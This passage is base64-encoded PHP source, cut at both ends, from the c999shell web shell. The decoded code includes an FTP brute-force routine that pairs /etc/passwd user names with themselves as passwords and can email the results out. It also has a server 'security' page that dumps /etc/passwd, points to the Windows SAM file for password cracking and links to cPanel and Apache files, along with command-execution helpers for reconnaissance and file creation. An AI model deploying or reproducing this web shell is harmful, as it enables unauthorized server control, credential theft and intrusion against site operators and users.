Lj0gam9pbiAoIlxyXG4iLCRyb3cpO30KICAgICAgIGlmIChlbXB0eSgkZikpIHtlY2hvICI8Yj5GaWxl IFwiIi4kc3FsX2dldGZpbGUuIlwiIGRvZXMgbm90IGV4aXN0cyBvciBlbXB0eSE8L2I+PGJyPiI7fQog ICAgICAgZWxzZSB7ZWNobyAiPGI+RmlsZSBcIiIuJHNxbF9nZXRmaWxlLiJcIjo8L2I+PGJyPiIubmwy YnIoaHRtbHNwZWNpYWxjaGFycygkZikpLiI8YnI+Ijt9CiAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgk cmVzdWx0KTsKICAgICAgIG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpOwogICAgICB9 CiAgICAgfQogICAgIG15c3FsX2Ryb3BfZGIoJHRtcGRiKTsgLy9jb21tZW50IGl0IGlmIHlvdSB3YW50 IHRvIGxlYXZlIGRhdGFiYXNlCiAgICB9CiAgIH0KICB9CiB9CiBlY2hvICI8L3RkPjwvdHI+PC90YWJs ZT4iOwogaWYgKCRzcWxfc29jaykKIHsKICAkYWZmZWN0ZWQgPSBAbXlzcWxfYWZmZWN0ZWRfcm93cygk c3FsX3NvY2spOwogIGlmICgoIWlzX251bWVyaWMoJGFmZmVjdGVkKSkgb3IgKCRhZmZlY3RlZCA8IDAp KXskYWZmZWN0ZWQgPSAwO30KICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+PGI+QWZmZWN0ZWQgcm93czog Ii4kYWZmZWN0ZWQuIjwvY2VudGVyPjwvdGQ+PC90cj4iOwogfQogZWNobyAiPC90YWJsZT4iOwp9Cmlm ICgkYWN0ID09ICJta2RpciIpCnsKIGlmICgkbWtkaXIgIT0gJGQpCiB7CiAgaWYgKGZpbGVfZXhpc3Rz KCRta2RpcikpIHtlY2hvICI8Yj5NYWtlIERpciBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtkaXIpLiJc IjwvYj46IG9iamVjdCBhbHJlZHkgZXhpc3RzIjt9CiAgZWxzZWlmICghbWtkaXIoJG1rZGlyKSkge2Vj aG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogYWNjZXNz IGRlbmllZCI7fQogIGVjaG8gIjxicj48YnI+IjsKIH0KICRhY3QgPSAkZHNwYWN0ID0gImxzIjsKfQpp ZiAoJGFjdCA9PSAiZnRwcXVpY2ticnV0ZSIpCnsKIGVjaG8gIjxiPkZ0cCBRdWljayBicnV0ZTo8L2I+ PGJyPiI7CiBpZiAoIXdpbikge2VjaG8gIlRoaXMgZnVuY3Rpb25zIG5vdCB3b3JrIGluIFdpbmRvd3Mh PGJyPjxicj4iO30KIGVsc2UKIHsKICBmdW5jdGlvbiBjOTk5ZnRwYnJ1dGVjaGVjaygkaG9zdCwkcG9y dCwkdGltZW91dCwkbG9naW4sJHBhc3MsJHNoLCRmcWJfb25seXdpdGhzaCkKICB7CiAgIGlmICgkZnFi X29ubHl3aXRoc2gpIHskVFJVRSA9ICghaW5fYXJyYXkoJHNoLGFycmF5KCIvYmluL0ZBTFNFIiwiL3Ni aW4vbm9sb2dpbiIpKSk7fQogICBlbHNlIHskVFJVRSA9IFRSVUU7fQogICBpZiAoJFRSVUUpCiAgIHsK ICAgICRzb2NrID0gQGZ0cF9jb25uZWN0KCRob3N0LCRwb3J0LCR0aW1lb3V0KTsKICAgIGlmIChAZnRw X2xvZ2luKCRzb2NrLCRsb2dpbiwkcGFzcykpCiAgICB7CiAgICAgZWNobyAiPGEgaHJlZj1cImZ0cDov LyIuJGxvZ2luLiI6Ii4kcGFzcy4iQCIuJGhvc3QuIlwiIHRhcmdldD1cIl9ibGFua1wiPjxiPkNvbm5l Y3RlZCB0byAiLiRob3N0LiIgd2l0aCBsb2dpbiBcIiIuJGxvZ2luLiJcIiBhbmQgcGFzc3dvcmQgXCIi LiRwYXNzLiJcIjwvYj48L2E+Ljxicj4iOwogICAgIG9iX2ZsdXNoKCk7CiAgICAgcmV0dXJuIFRSVUU7 CiAgICB9CiAgIH0KICB9CiAgaWYgKCFlbXB0eSgkc3VibWl0KSkKICB7CiAgIGlmICghaXNfbnVtZXJp YygkZnFiX2xlbmdodCkpIHskZnFiX2xlbmdodCA9ICRuaXhwd2RwZXJwYWdlO30KICAgJGZwID0gZm9w ZW4oIi9ldGMvcGFzc3dkIiwiciIpOwogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IGdldCAvZXRjL3Bh c3N3ZCBmb3IgcGFzc3dvcmQtbGlzdC4iO30KICAgZWxzZQogICB7CiAgICBpZiAoJGZxYl9sb2dnaW5n KQogICAgewogICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHskZnFiX2xvZ2ZwID0gZm9wZW4oJGZxYl9sb2dm aWxlLCJ3Iik7fQogICAgIGVsc2UgeyRmcWJfbG9nZnAgPSBGQUxTRTt9CiAgICAgJGZxYl9sb2cgPSAi RlRQIFF1aWNrIEJydXRlIChjYWxsZWQgYzk5OXNoZWxsIHYuICIuJHNodmVyLiIpIHN0YXJ0ZWQgYXQg

Ii5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7CiAgICAgaWYgKCRmcWJfbG9nZmlsZSkge2Z3 cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30KICAgIH0KICAgIG9iX2Zs dXNoKCk7CiAgICAkaSA9ICRzdWNjZXNzID0gMDsKICAgICRmdHBxdWlja19zdCA9IGdldG1pY3JvdGlt ZSgpOwogICAgd2hpbGUoIWZlb2YoJGZwKSkKICAgIHsKICAgICAkc3RyID0gZXhwbG9kZSgiOiIsZmdl dHMoJGZwLDIwNDgpKTsKICAgICBpZiAoYzk5OWZ0cGJydXRlY2hlY2soImxvY2FsaG9zdCIsMjEsMSwk c3RyWzBdLCRzdHJbMF0sJHN0cls2XSwkZnFiX29ubHl3aXRoc2gpKQogICAgIHsKICAgICAgZWNobyAi PGI+Q29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0 clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIjwvYj48YnI+IjsKICAgICAgJGZxYl9s b2cgLj0gIkNvbm5lY3RlZCB0byAiLmdldGVudigiU0VSVkVSX05BTUUiKS4iIHdpdGggbG9naW4gXCIi LiRzdHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswXS4iXCIsIGF0ICIuZGF0ZSgiZC5tLlkg SDppOnMiKS4iXHJcbiI7CiAgICAgIGlmICgkZnFiX2xvZ2ZwKSB7ZnNlZWsoJGZxYl9sb2dmcCwwKTsg ZndyaXRlKCRmcWJfbG9nZnAsJGZxYl9sb2csc3RybGVuKCRmcWJfbG9nKSk7fQogICAgICAkc3VjY2Vz cysrOwogICAgICBvYl9mbHVzaCgpOwogICAgIH0KICAgICBpZiAoJGkgPiAkZnFiX2xlbmdodCkge2Jy ZWFrO30KICAgICAkaSsrOwogICAgfQogICAgaWYgKCRzdWNjZXNzID09IDApIHtlY2hvICJObyBzdWNj ZXNzLiBjb25uZWN0aW9ucyEiOyAkZnFiX2xvZyAuPSAiTm8gc3VjY2Vzcy4gY29ubmVjdGlvbnMhXHJc biI7fQogICAgJGZ0cHF1aWNrX3QgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kZnRwcXVpY2tfc3QsNCk7 CiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxiPkRvbmUhPC9iPjxicj5Ub3RhbCB0aW1l IChzZWNzLik6ICIuJGZ0cHF1aWNrX3QuIjxicj5Ub3RhbCBjb25uZWN0aW9uczogIi4kaS4iPGJyPlN1 Y2Nlc3MuOiA8Zm9udCBjb2xvcj1ncmVlbj48Yj4iLiRzdWNjZXNzLiI8L2I+PC9mb250Pjxicj5VbnN1 Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iPC9iPjxicj5Db25uZWN0cyBwZXIgc2Vjb25kOiAiLnJvdW5k KCRpLyRmdHBxdWlja190LDIpLiI8YnI+IjsKICAgICRmcWJfbG9nIC49ICJcclxuLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbkRvbmUhXHJcblRvdGFsIHRpbWUgKHNlY3Mu KTogIi4kZnRwcXVpY2tfdC4iXHJcblRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiJcclxuU3VjY2Vzcy46 ICIuJHN1Y2Nlc3MuIlxyXG5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iXHJcbkNvbm5lY3RzIHBl ciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIlxyXG4iOwogICAgaWYgKCRmcWJfbG9n ZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4o JGZxYl9sb2cpKTt9CiAgICBpZiAoJGZxYl9sb2dlbWFpbCkge0BtYWlsKCRmcWJfbG9nZW1haWwsImM5 OTlzaGVsbCB2LiAiLiRzaHZlci4iIHJlcG9ydCIsJGZxYl9sb2cpO30KICAgIGZjbG9zZSgkZnFiX2xv Z2ZwKTsKICAgfQogIH0KICBlbHNlCiAgewogICAkbG9nZmlsZSA9ICR0bXBkaXJfbG9ncy4iYzk5OXNo X2Z0cHF1aWNrYnJ1dGVfIi5kYXRlKCJkLm0uWV9IX2lfcyIpLiIubG9nIjsKICAgJGxvZ2ZpbGUgPSBz dHJfcmVwbGFjZSgiLy8iLERJUkVDVE9SWV9TRVBBUkFUT1IsJGxvZ2ZpbGUpOwogICBlY2hvICI8Zm9y bSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9XCJm dHBxdWlja2JydXRlXCI+PGJyPlJlYWQgZmlyc3Q6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1cImZxYl9s ZW5naHRcIiB2YWx1ZT1cIiIuJG5peHB3ZHBlcnBhZ2UuIlwiPjxicj48YnI+VXNlcnMgb25seSB3aXRo IHNoZWxsPyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX29ubHl3aXRoc2hc IiB2YWx1ZT1cIjFcIj48YnI+PGJyPkxvZ2dpbmc/Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwi IG5hbWU9XCJmcWJfbG9nZ2luZ1wiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPkxvZ2dpbmcgdG8gZmls ZT8mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2ZpbGVcIiB2YWx1ZT1cIiIu JGxvZ2ZpbGUuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2ZpbGUpKzIqKHN0cmxlbigkbG9nZmlsZSkv MTApKS4iXCI+PGJyPkxvZ2dpbmcgdG8gZS1tYWlsPyZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5h bWU9XCJmcWJfbG9nZW1haWxcIiB2YWx1ZT1cIiIuJGxvZ19lbWFpbC4iXCIgc2l6ZT1cIiIuKHN0cmxl bigkbG9nZW1haWwpKzIqKHN0cmxlbigkbG9nZW1haWwpLzEwKSkuIlwiPjxicj48YnI+PGlucHV0IHR5 cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiQnJ1dGVcIj48L2Zvcm0+IjsKICB9CiB9Cn0KaWYg KCRhY3QgPT0gImQiKQp7CiBpZiAoIWlzX2RpcigkZCkpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lv biBkZW5pZWQhPC9iPjwvY2VudGVyPiI7fQogZWxzZQogewogIGVjaG8gIjxiPkRpcmVjdG9yeSBpbmZv cm1hdGlvbjo8L2I+PHRhYmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj4iOwog IGlmICghJHdpbikKICB7CiAgIGVjaG8gIjx0cj48dGQ+PGI+T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ ICI7CiAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZCkpOwogICAkZ3IgPSBwb3NpeF9n ZXRncmdpZChmaWxlZ3JvdXAoJGQpKTsKICAgJHJvd1tdID0gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJd OmZpbGVvd25lcigkZCkpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCRkKSk7 CiAgfQogIGVjaG8gIjx0cj48dGQ+PGI+UGVybXM8L2I+PC90ZD48dGQ+PGEgaHJlZj1cIiIuJHN1cmwu ImFjdD1jaG1vZCZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4i PC9iPjwvYT48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6 aTpzIixmaWxlY3RpbWUoJGQpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90 ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0 ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1l KCRkKSkuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOwogfQp9CmlmICgkYWN0ID09ICJwaHBpbmZvIikg e0BvYl9jbGVhbigpOyBwaHBpbmZvKCk7IGM5OTlzaGV4aXQoKTt9CmlmICgkYWN0ID09ICJzZWN1cml0 eSIpCnsKIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uOjwvYj48L2Nl bnRlcj48Yj5PcGVuIGJhc2UgZGlyOiAiLiRob3BlbmJhc2VkaXIuIjwvYj48YnI+IjsKIGlmICghJHdp

bikKIHsKICBpZiAoJG5peHBhc3N3ZCkKICB7CiAgIGlmICgkbml4cGFzc3dkID09IDEpIHskbml4cGFz c3dkID0gMDt9CiAgIGVjaG8gIjxiPipuaXggL2V0Yy9wYXNzd2Q6PC9iPjxicj4iOwogICBpZiAoIWlz X251bWVyaWMoJG5peHB3ZF9zKSkgeyRuaXhwd2RfcyA9IDA7fQogICBpZiAoIWlzX251bWVyaWMoJG5p eHB3ZF9lKSkgeyRuaXhwd2RfZSA9ICRuaXhwd2RwZXJwYWdlO30KICAgZWNobyAiPGZvcm0gYWN0aW9u PVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwic2VjdXJpdHlc Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cIm5peHBhc3N3ZFwiIHZhbHVlPVwiMVwiPjxiPkZyb206 PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dD1cIiBuYW1lPVwibml4cHdkX3NcIiB2YWx1ZT1cIiIu JG5peHB3ZF9zLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFt ZT1cIm5peHB3ZF9lXCIgdmFsdWU9XCIiLiRuaXhwd2RfZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3Vi bWl0IHZhbHVlPVwiVmlld1wiPjwvZm9ybT48YnI+IjsKICAgJGkgPSAkbml4cHdkX3M7CiAgIHdoaWxl ICgkaSA8ICRuaXhwd2RfZSkKICAgewogICAgJHVpZCA9IHBvc2l4X2dldHB3dWlkKCRpKTsKICAgIGlm ICgkdWlkKQogICAgewogICAgICR1aWRbImRpciJdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMm ZD0iLnVybGVuY29kZSgkdWlkWyJkaXIiXSkuIlwiPiIuJHVpZFsiZGlyIl0uIjwvYT4iOwogICAgIGVj aG8gam9pbigiOiIsJHVpZCkuIjxicj4iOwogICAgfQogICAgJGkrKzsKICAgfQogIH0KICBlbHNlIHtl Y2hvICI8YnI+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1zZWN1cml0eSZuaXhwYXNzd2Q9MSZkPSIuJHVk LiJcIj48Yj48dT5HZXQgL2V0Yy9wYXNzd2Q8L3U+PC9iPjwvYT48YnI+Ijt9CiB9CiBlbHNlCiB7CiAg JHYgPSAkX1NFUlZFUlsiV0lORElSIl0uIlxyZXBhaXJcc2FtIjsKICBpZiAoZmlsZV9nZXRfY29udGVu dHMoJHYpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9cmVkPllvdSBjYW4ndCBjcmFjayB3aW5udCBwYXNz d29yZHMoIi4kdi4iKSA8L2ZvbnQ+PC9iPjxicj4iO30KICBlbHNlIHtlY2hvICI8Yj48Zm9udCBjb2xv cj1ncmVlbj5Zb3UgY2FuIGNyYWNrIHdpbm50IHBhc3N3b3Jkcy4gPGEgaHJlZj1cIiIuJHN1cmwuImFj dD1mJmY9c2FtJmQ9Ii4kX1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PHU+ PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyDCqS48L2ZvbnQ+PC9iPjxi cj4iO30KIH0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy91c2VyZG9tYWlucyIpKSB7ZWNobyAi PGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9dXNlcmRvbWFpbnMm ZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+VmlldyBjcGFuZWwgdXNlci1kb21h aW5zIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30KIGlmIChmaWxlX2dldF9jb250ZW50 cygiL3Zhci9jcGFuZWwvYWNjb3VudGluZy5sb2ciKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVu PjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWFjY291bnRpbmcubG9nJmQ9Ii51cmxlbmNvZGUoIi92 YXIvY3BhbmVsLyIpLiJcIiZmdD10eHQ+PHU+PGI+VmlldyBjcGFuZWwgbG9nczwvYj48L3U+PC9hPjwv Zm9udD48L2I+PGJyPiI7fQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvdXNyL2xvY2FsL2FwYWNoZS9j b25mL2h0dHBkLmNvbmYiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRz dXJsLiJhY3Q9ZiZmPWh0dHBkLmNvbmYmZD0iLnVybGVuY29kZSgiL3Vzci9sb2NhbC9hcGFjaGUvY29u ZiIpLiImZnQ9dHh0XCI+PHU+PGI+QXBhY2hlIGNvbmZpZ3VyYXRpb24gKGh0dHBkLmNvbmYpPC9iPjwv dT48L2E+PC9mb250PjwvYj48YnI+Ijt9CiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaHR0cGQu Y29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1m JmY9aHR0cGQuY29uZiZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT48Yj5BcGFjaGUg Y29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30KIGlm IChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9zeXNsb2cuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29s b3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9c3lzbG9nLmNvbmYmZD0iLnVybGVuY29k ZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+U3lzbG9nIGNvbmZpZ3VyYXRpb24gKHN5c2xvZy5jb25m KTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRj L21vdGQiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9 ZiZmPW1vdGQmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+TWVzc2FnZSBPZiBU aGUgRGF5PC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CiBpZiAoZmlsZV9nZXRfY29udGVudHMo Ii9ldGMvaG9zdHMiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJs LiJhY3Q9ZiZmPWhvc3RzJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPkhvc3Rz PC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CiBmdW5jdGlvbiBkaXNwbGF5c2VjaW5mbygkbmFt ZSwkdmFsdWUpIHtpZiAoIWVtcHR5KCR2YWx1ZSkpIHtpZiAoIWVtcHR5KCRuYW1lKSkgeyRuYW1lID0g IjxiPiIuJG5hbWUuIiAtIDwvYj4iO30gZWNobyAkbmFtZS5ubDJicigkdmFsdWUpLiI8YnI+Ijt9fQog ZGlzcGxheXNlY2luZm8oIk9TIFZlcnNpb24/IixteXNoZWxsZXhlYygiY2F0IC9wcm9jL3ZlcnNpb24i KSk7CiBkaXNwbGF5c2VjaW5mbygiS2VybmVsIHZlcnNpb24/IixteXNoZWxsZXhlYygic3lzY3RsIC1h IHwgZ3JlcCB2ZXJzaW9uIikpOwogZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgbmFtZSIsbXlzaGVsbGV4 ZWMoImNhdCAvZXRjL2lzc3VlLm5ldCIpKTsKIGRpc3BsYXlzZWNpbmZvKCJEaXN0cmliIG5hbWUgKDIp IixteXNoZWxsZXhlYygiY2F0IC9ldGMvKi1yZWFsaXNlIikpOwogZGlzcGxheXNlY2luZm8oIkNQVT8i LG15c2hlbGxleGVjKCJjYXQgL3Byb2MvY3B1aW5mbyIpKTsKIGRpc3BsYXlzZWNpbmZvKCJSQU0iLG15 c2hlbGxleGVjKCJmcmVlIC1tIikpOwogZGlzcGxheXNlY2luZm8oIkhERCBzcGFjZSIsbXlzaGVsbGV4 ZWMoImRmIC1oIikpOwogZGlzcGxheXNlY2luZm8oIkxpc3Qgb2YgQXR0cmlidXRlcyIsbXlzaGVsbGV4 ZWMoImxzYXR0ciAtYSIpKTsKIGRpc3BsYXlzZWNpbmZvKCJNb3VudCBvcHRpb25zICIsbXlzaGVsbGV4 ZWMoImNhdCAvZXRjL2ZzdGFiIikpOwogZGlzcGxheXNlY2luZm8oIklzIGNVUkwgaW5zdGFsbGVkPyIs bXlzaGVsbGV4ZWMoIndoaWNoIGN1cmwiKSk7CiBkaXNwbGF5c2VjaW5mbygiSXMgbHlueCBpbnN0YWxs

ZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbHlueCIpKTsKIGRpc3BsYXlzZWNpbmZvKCJJcyBsaW5rcyBp bnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbGlua3MiKSk7CiBkaXNwbGF5c2VjaW5mbygiSXMg ZmV0Y2ggaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGZldGNoIikpOwogZGlzcGxheXNlY2lu Zm8oIklzIEdFVCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggR0VUIikpOwogZGlzcGxheXNl Y2luZm8oIklzIHBlcmwgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIHBlcmwiKSk7CiBkaXNw bGF5c2VjaW5mbygiV2hlcmUgaXMgYXBhY2hlIixteXNoZWxsZXhlYygid2hlcmVpcyBhcGFjaGUiKSk7 CiBkaXNwbGF5c2VjaW5mbygiV2hlcmUgaXMgcGVybD8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIHBlcmwi KSk7CiBkaXNwbGF5c2VjaW5mbygibG9jYXRlIHByb2Z0cGQuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0 ZSBwcm9mdHBkLmNvbmYiKSk7CiBkaXNwbGF5c2VjaW5mbygibG9jYXRlIGh0dHBkLmNvbmYiLG15c2hl bGxleGVjKCJsb2NhdGUgaHR0cGQuY29uZiIpKTsKIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgbXkuY29u ZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBteS5jb25mIikpOwogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBw c3libmMuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBwc3libmMuY29uZiIpKTsKfQppZiAoJGFjdCA9 PSAibWtmaWxlIikKewogaWYgKCRta2ZpbGUgIT0gJGQpCiB7CiAgaWYgKGZpbGVfZXhpc3RzKCRta2Zp bGUpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwv Yj46IG9iamVjdCBhbHJlZHkgZXhpc3RzIjt9CiAgZWxzZWlmICghZm9wZW4oJG1rZmlsZSwidyIpKSB7 ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IGFj Y2VzcyBkZW5pZWQiO30KICBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpcm5hbWUoJG1rZmlsZSk7IGlm IChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQ QVJBVE9SO30gJGYgPSBiYXNlbmFtZSgkbWtmaWxlKTt9CiB9CiBlbHNlIHskYWN0ID0gJGRzcGFjdCA9 ICJscyI7fQp9CmlmICgkYWN0ID09ICJlbmNvZGVyIikKewogZWNobyAiPHNjcmlwdD5mdW5jdGlvbiBz ZXRfZW5jb2Rlcl9pbnB1dCh0ZXh0KSB7ZG9jdW1lbnQuZm9ybXMuZW5jb2Rlci5pbnB1dC52YWx1ZSA9 IHRleHQ7fTwvc2NyaXB0PjxjZW50ZXI+PGI+RW5jb2Rlcjo8L2I+PC9jZW50ZXI+PGZvcm0gbmFtZT1c ImVuY29kZXJcIiBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRk ZW4gbmFtZT1hY3QgdmFsdWU9ZW5jb2Rlcj48Yj5JbnB1dDo8L2I+PGNlbnRlcj48dGV4dGFyZWEgbmFt ZT1cImVuY29kZXJfaW5wdXRcIiBpZD1cImlucHV0XCIgY29scz01MCByb3dzPTU+Ii5AaHRtbHNwZWNp YWxjaGFycygkZW5jb2Rlcl9pbnB1dCkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJt aXQgdmFsdWU9XCJjYWxjdWxhdGVcIj48YnI+PGJyPjwvY2VudGVyPjxiPkhhc2hlczwvYj46PGJyPjxj ZW50ZXI+IjsKIGZvcmVhY2goYXJyYXkoIm1kNSIsImNyeXB0Iiwic2hhMSIsImNyYzMyIikgYXMgJHYp CiB7CiAgZWNobyAkdi4iIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTUwIG9uRm9jdXM9XCJ0aGlzLnNl bGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2Vs ZWN0KClcIiB2YWx1ZT1cIiIuJHYoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT48YnI+IjsKIH0K IGVjaG8gIjwvY2VudGVyPjxiPlVybDo8L2I+PGNlbnRlcj48YnI+dXJsZW5jb2RlIC0gPGlucHV0IHR5 cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlz LnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIudXJsZW5jb2Rl KCRlbmNvZGVyX2lucHV0KS4iXCIgcmVhZG9ubHk+CiA8YnI+dXJsZGVjb2RlIC0gPGlucHV0IHR5cGU9 dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNl bGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxj aGFycyh1cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpKS4iXCIgcmVhZG9ubHk+CiA8YnI+PC9jZW50ZXI+ PGI+QmFzZTY0OjwvYj48Y2VudGVyPmJhc2U2NF9lbmNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9 MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBv 